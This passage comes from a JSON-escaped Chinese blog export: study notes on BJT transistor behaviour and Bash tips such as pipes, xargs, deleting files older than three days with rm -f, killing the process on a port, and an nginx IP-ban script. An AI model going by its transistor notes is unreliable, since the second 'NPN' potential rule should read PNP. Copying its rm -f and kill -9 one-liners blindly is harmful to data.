class=\"headerlink\" title=\"三极管特性\"\u003e\u003c/a\u003e三极管特性\u003c/h2\u003e\u003cp\u003e三极管可以看作是两个二极管并起来构成的。如果是N和N并,那就是NPN型三极管;否则是PNP型三极管。下面的图中是\u003cstrong\u003eNPN型三极管\u003c/strong\u003e,如果是PNP型,则箭头从上册斜线指向左侧竖线(箭头指向N型的方向)。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230605172407.png\"/\u003e\u003c/p\u003e\u003cp\u003e三极管有三极,从上到下分别是C,B,E,分别是集电极,基极,发射极。对于NPN型三极管,电流流入C,B,从E流出;PNP型反之。\u003c/p\u003e\u003col\u003e\u003cli\u003e性质\u003c/li\u003e\u003c/ol\u003e\u003cul\u003e\u003cli\u003e电流关系(满足KCL关系):$I_C+I_B=I_E$\u003c/li\u003e\u003cli\u003e电流控制放大作用(\u003cstrong\u003e基极电流控制集电极电流\u003c/strong\u003e):$I_C=\\beta I_B$\u003c/li\u003e\u003cli\u003e比例分配关系:$i_B:i_C:i_E=1:\\beta:1+\\beta$\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e$\\beta$称为(共射)电流放大系数。直流情况下的放大关系近似等于交流状态的放大关系。\u003c/p\u003e\u003cp\u003e也就是说,三极管的输入是$I_B$和$U_{BE}$,输出是$I_C$和$U_{CE}$。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230606221157.png\"/\u003e\u003c/p\u003e\u003cp\u003e这是简化的基本电流方向关系(忽略$I_{CEO}$等电流)。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230605175112.png\"/\u003e\u003c/p\u003e\u003cp\u003e晶体管的伏安特性曲线有两个图,因为它有三个端口。需要记住的是伏安特性的对应关系:\u003c/p\u003e\u003col\u003e\u003cli\u003e输入伏安关系:输入电流和发射结电压$U_{BE}$的关系\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e输入伏安特性是发射结的电流-电压关系,而发射结也是PN结,所以曲线也是一个指数曲线。但是它跟管压降有关,然而一般可以只画一条曲线来表示。\u003c/p\u003e\u003col start=\"2\"\u003e\u003cli\u003e输出伏安特性:集电极电流和管压降$U_{CE}$的关系\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230606223354.png\"/\u003e\u003c/p\u003e\u003cp\u003e工作状态:\u003c/p\u003e\u003cul\u003e\u003cli\u003e发射结反偏($u_{BE}\u0026lt;U_{on}$):截止区\u003c/li\u003e\u003cli\u003e发射结正偏($u_{BE}\\geq U_{on})\u003cul\u003e\u003cli\u003e集电结反偏:放大区($u_{BC}\u0026lt;0$)\u003c/li\u003e\u003cli\u003e集电结正偏:饱和区($u_{BC}\u0026gt;0$)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e放大区的电位特点:\u003c/p\u003e\u003cul\u003e\u003cli\u003eNPN管:$u_C\\geq u_B\u0026gt;u_E,u_{BE}=0.7V/0.2V$\u003c/li\u003e\u003cli\u003eNPN管:$u_C\\leq u_B\u0026lt;u_E,u_{EB}=0.7V/0.2V$\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e已知端电压,区分二极管种类时,两个相差0.2/0.7V的端口一定是b和e极。剩下的一个电位最高则是NPN,否则是PNP。然后再结合上面的等式分析b和e是分别是哪个:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230606224126.png\"/\u003e\u003c/p\u003e\u003cp\u003e判断能否正常工作,首先看管子类型,其次看电位关系是否正确。同时,看电流是否合理(有没有保护电阻)。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230606224337.png\"/\u003e\u003c/p\u003e\u003cp\u003e用上面的方法,和KCL、KVL,就能求解下面的工作状态:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230606225353.png\"/\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/06/05/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E4%B8%89%E6%9E%81%E7%AE%A1/"},{"title":"Bash学习笔记","time":"2023-06-03T13:43:09Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003eBash对于绝大多数任务来说够用。所以没必要太折腾,先试试Bash吧。\u003c/p\u003e\u003cp\u003e第一部分我会记录一些Linux自带(绝大多数情况)程序的用法,第二部分会把它们组合起来使用。\u003c/p\u003e\u003ch2 id=\"命令介绍\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E5%91%BD%E4%BB%A4%E4%BB%8B%E7%BB%8D\" class=\"headerlink\" title=\"命令介绍\"\u003e\u003c/a\u003e命令介绍\u003c/h2\u003e\u003ch3 id=\"数据操作类指令\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E6%95%B0%E6%8D%AE%E6%93%8D%E4%BD%9C%E7%B1%BB%E6%8C%87%E4%BB%A4\" class=\"headerlink\" title=\"数据操作类指令\"\u003e\u003c/a\u003e数据操作类指令\u003c/h3\u003e\u003cp\u003ehead命令用于显示文件的开头几行,sort命令用于对文件或标准输入进行排序,可以按照字母顺序、数字大小、日期等方式进行排序,uniq命令则用于去除重复的行,可以通过参数指定只保留重复行的数量或只显示重复行。\u003c/p\u003e\u003cp\u003ehead命令的语法:\u003ccode\u003ehead [选项] [文件]\u003c/code\u003e。例如,要查看文件file.txt的前10行,请使用以下命令:\u003ccode\u003ehead -n 10 file.txt\u003c/code\u003e。¹\\\u003c/p\u003e\u003cp\u003esort命令的语法:\u003ccode\u003esort [选项] [文件]\u003c/code\u003e。例如,要按字母顺序对文件file.txt进行排序,请使用以下命令:\u003ccode\u003esort file.txt\u003c/code\u003e。要按数字大小对文件进行排序,请使用以下命令:\u003ccode\u003esort -n file.txt\u003c/code\u003e。\u003c/p\u003e\u003cp\u003euniq命令的语法:\u003ccode\u003euniq [选项] [输入文件] [输出文件]\u003c/code\u003e。例如,要从文件file.txt中删除重复的行并将结果写入新文件newfile.txt,请使用以下命令:\u003ccode\u003euniq file.txt newfile.txt\u003c/code\u003e。要显示重复行及其出现次数,请使用以下命令:\u003ccode\u003euniq -c file.txt\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"Bash的语法\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#Bash%E7%9A%84%E8%AF%AD%E6%B3%95\" class=\"headerlink\" title=\"Bash的语法\"\u003e\u003c/a\u003eBash的语法\u003c/h3\u003e\u003cp\u003ebash的一行语句结尾可以写分号\u003ccode\u003e;\u003c/code\u003e,也可以不写。用分号可以将多条指令串联起来运行,比如\u003ccode\u003ecmd1; cmd2; cmd3; ...\u003c/code\u003e\u003c/p\u003e\u003cp\u003e它的管道是一个相当好用的东西,可以将几个命令的输入输出相互串起来,得到一个组合后的工具,并且管道是系统级工具,因此十分灵活且高效。比如\u003ccode\u003ecmd1 | cmd2 | xargs cmd3 | ...\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e这里的\u003ccode\u003exargs\u003c/code\u003e是另一个工具,它可以将它得到的stdin转化成后面跟随指令的参数列表。比如\u003ccode\u003efind . -type f -name \u0026#34;* *\u0026#34; -print0 | xargs -0 rm -f\u003c/code\u003e,它就可以将符合条件的文件作为一个参数列表传递给\u003ccode\u003erm -f\u003c/code\u003e指令。另外,这里的\u003ccode\u003e-0\u003c/code\u003e是告诉xargs,在读入stdin时,使用 null 作为分隔符。\u003c/p\u003e\u003cp\u003e除了管道和分号,还有\u003ccode\u003e\u0026amp;\u0026amp;\u003c/code\u003e,也可以连接多条指令。它和分号类似,不过区别是它会检查前一条指令的运行结果(返回值),并且根据这个来决定是否运行下一条指令。例如,\u003ccode\u003ecmd1 \u0026amp;\u0026amp; cmd2 \u0026amp;\u0026amp; cmd3\u003c/code\u003e,这样写的话,只要任意一个指令运行失败,那么它之后的所有指令都会不执行,这样可以有效防止发生一些难以预料的情况。\u003c/p\u003e\u003ch2 id=\"一些用法\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E4%B8%80%E4%BA%9B%E7%94%A8%E6%B3%95\" class=\"headerlink\" title=\"一些用法\"\u003e\u003c/a\u003e一些用法\u003c/h2\u003e\u003cp\u003e黑魔法开始了(不是\u003c/p\u003e\u003ch3 id=\"统计输出情况\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E7%BB%9F%E8%AE%A1%E8%BE%93%E5%87%BA%E6%83%85%E5%86%B5\" class=\"headerlink\" title=\"统计输出情况\"\u003e\u003c/a\u003e统计输出情况\u003c/h3\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e./a.out | \u003cspan class=\"built_in\"\u003ehead\u003c/span\u003e -n 100000 | \u003cspan class=\"built_in\"\u003esort\u003c/span\u003e | \u003cspan class=\"built_in\"\u003euniq\u003c/span\u003e -c\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这样就能得到统计好的输出数据。\u003c/p\u003e\u003ch3 id=\"随机输出一行\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E9%9A%8F%E6%9C%BA%E8%BE%93%E5%87%BA%E4%B8%80%E8%A1%8C\" class=\"headerlink\" title=\"随机输出一行\"\u003e\u003c/a\u003e随机输出一行\u003c/h3\u003e\u003cp\u003e看到同学发的抽奖现场用Python现写程序,节目效果拉满()不过,都用Linux了,还不用Bash?\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efname=\u003cspan class=\"string\"\u003e\u0026#34;lab6.c\u0026#34;\u003c/span\u003e; rand=$((RANDOM%$(cat \u0026#34;\u003cspan class=\"variable\"\u003e$fname\u003c/span\u003e\u0026#34; | wc -l))); sed -n \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$rand\u003c/span\u003e\u0026#34;\u003c/span\u003ep \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$fname\u003c/span\u003e\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的命令其实是3行命令,但是每行都比较短就合成一行了。第一个和第二个都是赋值命令,设置文件名,并根据文件行数生成随机数。第三行用\u003ccode\u003esed\u003c/code\u003e从文件中读取指定的行。\u003c/p\u003e\u003cp\u003e对于第三行指令,其实不用\u003ccode\u003esed\u003c/code\u003e也行,用\u003ccode\u003ehead -n \u0026#34;$rand\u0026#34; | tail -n 1\u0026#34;\u003c/code\u003e也是能得到相同的结果。完整指令:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efname=\u003cspan class=\"string\"\u003e\u0026#34;lab6.c\u0026#34;\u003c/span\u003e; rand=$((RANDOM%$(cat \u0026#34;\u003cspan class=\"variable\"\u003e$fname\u003c/span\u003e\u0026#34; | wc -l))); \u003cspan class=\"built_in\"\u003ecat\u003c/span\u003e \u003cspan class=\"variable\"\u003e$fname\u003c/span\u003e | \u003cspan class=\"built_in\"\u003ehead\u003c/span\u003e -n \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$rand\u003c/span\u003e\u0026#34;\u003c/span\u003e | \u003cspan class=\"built_in\"\u003etail\u003c/span\u003e -n 1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e总之能看出,对于操作数据,Linux自带的工具也很强大了。\u003c/p\u003e\u003ch3 id=\"保留最近三天的文件\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E4%BF%9D%E7%95%99%E6%9C%80%E8%BF%91%E4%B8%89%E5%A4%A9%E7%9A%84%E6%96%87%E4%BB%B6\" class=\"headerlink\" title=\"保留最近三天的文件\"\u003e\u003c/a\u003e保留最近三天的文件\u003c/h3\u003e\u003cp\u003e这东西用来清log和冗余备份确实好用。\u003c/p\u003e\u003cp\u003e清文件夹记得把-f换成-rf。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efind [target file \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e path] -mtime +2 |xargs \u003cspan class=\"built_in\"\u003erm\u003c/span\u003e -f\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"Ubuntu内存释放\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#Ubuntu%E5%86%85%E5%AD%98%E9%87%8A%E6%94%BE\" class=\"headerlink\" title=\"Ubuntu内存释放\"\u003e\u003c/a\u003eUbuntu内存释放\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e2020.12.18 11:05:00\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e下面的指令用来释放系统内存,只在Ubuntu上测试过。长期运行的服务器最好严密监督内存使用情况:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eecho 3 \u0026gt;/proc/sys/vm/drop_caches\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e啊对了注意指令里是vm不是mv。\u003c/p\u003e\u003ch3 id=\"ln-强大的软链接工具\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#ln-%E5%BC%BA%E5%A4%A7%E7%9A%84%E8%BD%AF%E9%93%BE%E6%8E%A5%E5%B7%A5%E5%85%B7\" class=\"headerlink\" title=\"ln-强大的软链接工具\"\u003e\u003c/a\u003eln-强大的软链接工具\u003c/h3\u003e\u003cp\u003e常用用法:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eln\u003c/span\u003e –s 源文件 软连接文件\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这可以帮我们把一个文件链接到另一个地方,类似Windows的快捷方式。\u003c/p\u003e\u003cp\u003e我一般会用它把正在开发的项目链接到nginx的目录下,来实时预览效果。\u003c/p\u003e\u003ch3 id=\"端口占用解除\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E7%AB%AF%E5%8F%A3%E5%8D%A0%E7%94%A8%E8%A7%A3%E9%99%A4\" class=\"headerlink\" title=\"端口占用解除\"\u003e\u003c/a\u003e端口占用解除\u003c/h3\u003e\u003cp\u003e有时候一些网络应用会启动失败,提示端口被占用。那么一般怎么解决呢?\u003c/p\u003e\u003ch4 id=\"系统环境\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E7%B3%BB%E7%BB%9F%E7%8E%AF%E5%A2%83\" class=\"headerlink\" title=\"系统环境\"\u003e\u003c/a\u003e系统环境\u003c/h4\u003e\u003cp\u003e我的系统是Ubuntu20.04,其他Linux应该也大同小异。\u003c/p\u003e\u003ch4 id=\"解决步骤\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%A7%A3%E5%86%B3%E6%AD%A5%E9%AA%A4\" class=\"headerlink\" title=\"解决步骤\"\u003e\u003c/a\u003e解决步骤\u003c/h4\u003e\u003cp\u003e就两步。先找到进程: \u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003enetstat -anlp| grep 端口号\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后结束进程: \u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ekill -9 进程pid\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e完事儿。\u003c/p\u003e\u003cp\u003e或者可以用awk和管道把命令缩短到一行:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003enetstat -anlp | grep 3000 | awk \u003cspan class=\"string\"\u003e\u0026#39;{print $7}\u0026#39;\u003c/span\u003e | awk -F \u003cspan class=\"string\"\u003e\u0026#39;/\u0026#39;\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;{print $1}\u0026#39;\u003c/span\u003e | xargs \u003cspan class=\"built_in\"\u003ekill\u003c/span\u003e -9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e不太好看但是还挺方便。起码手不疼了(\u003c/p\u003e\u003ch3 id=\"nc\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#nc\" class=\"headerlink\" title=\"nc\"\u003e\u003c/a\u003enc\u003c/h3\u003e\u003cp\u003e用\u003ccode\u003enc\u003c/code\u003e可以进行局域网聊天(不是\u003c/p\u003e\u003cp\u003e用 \u003ccode\u003esocat\u003c/code\u003e 还可以群聊: 局域网内所有 Linux 机器,输入下方命令加入群聊(指 UDP 广播)(狗头)(狗头) \u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esocat - UDP-DATAGRAM:255.255.255.255:12345,broadcast,\u003cspan class=\"built_in\"\u003ebind\u003c/span\u003e=0.0.0.0:12345\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"根据nginx日志自动ban异常IP\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E6%A0%B9%E6%8D%AEnginx%E6%97%A5%E5%BF%97%E8%87%AA%E5%8A%A8ban%E5%BC%82%E5%B8%B8IP\" class=\"headerlink\" title=\"根据nginx日志自动ban异常IP\"\u003e\u003c/a\u003e根据nginx日志自动ban异常IP\u003c/h3\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#!/bin/bash \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eline=1000 \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003etimes\u003c/span\u003e=10 \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003econf=/opt/nginx/conf/blockip.conf \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003etail\u003c/span\u003e /data/logs/nginx/access.log -n \u003cspan class=\"variable\"\u003e$line\u003c/span\u003e | \\ \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003egrep -E \u003cspan class=\"string\"\u003e\u0026#39;(\u0026#34;status\u0026#34;:\u0026#34;404\u0026#34;|\u0026#34;status\u0026#34;:\u0026#34;302\u0026#34;)\u0026#39;\u003c/span\u003e | awk \u003cspan class=\"string\"\u003e\u0026#39;{print $1}\u0026#39;\u003c/span\u003e | \\ \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003esort\u003c/span\u003e | \u003cspan class=\"built_in\"\u003euniq\u003c/span\u003e -c | \\ \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eawk \u003cspan class=\"string\"\u003e\u0026#39;$1\u0026gt;$times{print \u0026#34;deny \u0026#34;$2 \u0026#34;;\u0026#34;}\u0026#39;\u003c/span\u003e \u0026gt;\u0026gt; \u003cspan class=\"variable\"\u003e$conf\u003c/span\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003edeny=$(\u003cspan class=\"built_in\"\u003esort\u003c/span\u003e \u003cspan class=\"variable\"\u003e$conf\u003c/span\u003e | \u003cspan class=\"built_in\"\u003euniq\u003c/span\u003e -c | awk \u003cspan class=\"string\"\u003e\u0026#39;{print \u0026#34;deny \u0026#34;$3}\u0026#39;\u003c/span\u003e) \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"variable\"\u003e$deny\u003c/span\u003e | sed \u003cspan class=\"string\"\u003e\u0026#34;s/; /;\\n/g\u0026#34;\u003c/span\u003e \u0026gt; \u003cspan class=\"variable\"\u003e$conf\u003c/span\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e/usr/local/sbin/nginx -t || \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e/usr/bin/systemctl reload 